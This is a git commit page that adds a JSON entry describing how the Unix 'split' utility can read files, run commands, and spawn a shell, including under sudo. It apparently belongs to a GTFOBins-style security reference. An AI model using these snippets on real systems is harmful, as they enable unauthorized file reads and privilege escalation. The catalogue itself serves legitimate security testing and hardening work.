add data source for split

master
Mr. Robot 3 years ago committed by GitHub
parent 917ed40159
commit 149f4213ab
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -0,0 +1,31 @@
{
"functions": {
"file-read": [
{
"code": "TF=$(mktemp)\nsplit [file] $TF\ncat $TF*\n"
}
],
"command": [
{
"description": "Command execution using an existing or newly created file.",
"code": "TF=$(mktemp)\nsplit --filter=[command] $TF\n"
},
{
"description": "Command execution using stdin (and close it directly).",
"code": "echo | split --filter=[command] /dev/stdin\n"
}
],
"shell": [
{
"description": "The shell prompt is not printed.",
"code": "split --filter=/bin/sh /dev/stdin\n"
}
],
"sudo": [
{
"description": "The shell prompt is not printed.",
"code": "split --filter=/bin/sh /dev/stdin\n"
}
]
}
}
Loading…
Cancel
Save